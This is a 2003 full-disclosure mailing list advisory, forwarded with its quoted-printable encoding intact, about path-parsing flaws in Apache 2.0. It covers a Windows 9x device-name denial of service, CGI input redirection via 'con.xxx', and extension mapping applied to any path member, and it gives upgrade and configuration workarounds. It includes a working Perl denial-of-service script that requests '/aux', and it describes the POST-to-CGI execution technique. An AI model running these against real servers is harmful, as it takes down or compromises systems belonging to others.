Original Message:
-----------------
From: mattmurphy@kc=2Err=2Ecom mattmurphy@kc=2Err=2Ecom
Date: Wed, 22 Jan 2003 09:00:58 -0500
To: full-disclosure@lists=2Enetsys=2Ecom
Subject: Path Parsing Errata in Apache HTTP Server



Path Parsing Errata in Apache HTTP Server

ABSTRACT

The Apache HTTP Server <http://httpd=2Eapache=2Eorg/> powers a=20
whopping two thirds of all internet web sites, offering such powerful=20
features as SSI, pre-forked and multi-threaded MPMs, input and output=20
filtering, advanced logging, dynamic actions, dynamic modules,=20
reverse DNS, virtual hosting, and even SSL via a fully extensible=20
interface=2E It operates on an incredible number of platforms, including=20=

nearly all major Unix variants, Novell Netware and Microsoft Windows;=20
Apache has also been ported to cygwin=2E

DESCRIPTION

The Apache HTTP Server contains several flaws related to its path=20
mapping routines that could enable an attacker to cause Apache to=20
handle files incorrectly, cause a system-wide denial of service, or=20
possibly execute arbitrary code=2E

ANALYSIS

Issue 1 (VU#979793):

Exploitation of this condition leads to a remote denial of service against=
=20
a Windows 9x system running Apache, and appears to be due to=20
erroneous checks in the ap_directory_walk function=2E A denial of service=
=20
can be caused with a web browser by requesting a reserved device=20
such as "aux":

--- Apache2-nuke=2Epl ---
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 1 || @ARGV > 2) {
=09print STDOUT "Usage: perl $0 <host> <port=3D80>";
=09exit;
}
if (@ARGV =3D=3D 2) {
=09$port =3D $ARGV[1];
} else {
=09$port =3D 80;
}
$f =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerHost=3D>$ARGV[0],=20
PeerPort=3D>$port);
print $f "GET /aux HTTP/1=2E0\r\n\r\n";
--- Apache2-nuke=2Epl ---

The Apache 2=2E0=2E44 release announcement incorrectly states that=20
previous Microsoft patches eliminate this vulnerability=2E There are some=
=20
devices on Windows platforms that will hang the system if opened with=20
certain file permissions masks=2E

Issue 2 (VU#825177):

Exploitation of this condition leads to a remote compromise=2E This=20
issue is also restricted to Windows 9x versions of Apache, and has the=20
same underlying cause as the previously noted denial of service=20
condition=2E It is related to CGI input redirection=2E

Specifically, when POSTing to a CGI, the stdin stream points to the=20
input form data=2E By sending a POST to "con=2Exxx" in a ScriptAlias'ed=20=

directory, your POST data *may* be executed by that interpreter=2E

Issue 3 (VU#384033):

Exploitation of this condition could lead to bypass of default script=20
mapping behavior=2E This flaw impacts Apache on all platforms=2E This=20=

issue is best described with an example:

http://localhost/folder=2Ephp/file

Apache should parse 'file' as plain text -- that is, simply returning it t=
o=20
the browser=2E However, an incorrect check in Apache's mapping=20
algorithms, causes the 'php' extension to be associated with this=20
request=2E Rather than checking only the file's extension, Apache checks=20=

for extensions in any path member, stopping at the first=2E

This is more of a weakness than a vulnerability, as exploitation only=20
yields UID nobody if you allow uploading under the docroot *and* filter=20=

by filename only, in which case you have far more serious concerns=20
than the exploitation of this issue=2E

DETECTION

These issues are believed to be specific to the 2=2E0 branch; Apache=20
1=2E3=2E27 (and all other 1=2Ex versions) are believed immune from these=20=

issues=2E Apache 2=2E0=2E43 and prior should be upgraded to the 2=2E0=2E4=
4=20
release, which will be available from=20
<http://httpd=2Eapache=2Eorg/dist/httpd>=2E

WORKAROUNDS

* I recommend that servers running Windows 9x be upgraded to a=20
production environment (Windows NT, 2000, or XP, for example)=2E This=20
offers a solution to VU#979793, and VU#825177=2E

* A configuration workaround is available for VU#384033=2E For any=20
directories allowing uploads, add the following lines:

<Directory "/var/apache/htdocs/uploads/">
AllowOverride None
Options -Includes -ExecCGI
SetHandler default-handler
</Directory>

* All sites running Apache 2=2E0=2E43 and prior should be upgraded to=20
2=2E0=2E44 if impacted by these issues=2E

DISCLOSURE TIMELINE

December 4, 2002: security@apache=2Eorg notified
December 5, 2002: Confirmation response received from William=20
Rowe, Jr=2E (wrowe@rowe-clan=2Enet); auditing begins=2E
December 5, 2002: cert@cert=2Eorg contacted
December 5, 2002: Automated response from CERT/CC incident=20
response=2E
December 9, 2002: Follow-up received from William Rowe, Jr=2E=20
indicates that cause of reserved device issue has been identified=2E
December 10, 2002: Initial patch binaries received from William Rowe,=20
Jr=2E (libapr=2Edll and libhttpd=2Edll)=2E Fix for reserved device flaw c=
onfirmed,=20
but dot-in-path attack remains=2E
December 10, 2002: CERT/CC response received from Chad=20
Dougherty; vulnerability IDs are assigned=2E
December 10, 2002: Reply to Chad Dougherty indicating that precise=20
details of VU#825177 will not be immediately disclosed=2E
December 10, 2002: Reply to William Rowe, Jr=2E requesting=20
confirmation of status and receipt of VU#384033=2E
December 10/11, 2002: Series of e-mail communications to clarify the=20
impacts/origins of VU#384033; source of issue is identified=2E
January 20, 2002: Apache 2=2E0=2E44 released
January 22, 2002: Public disclosure

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web=2Ecom/ =2E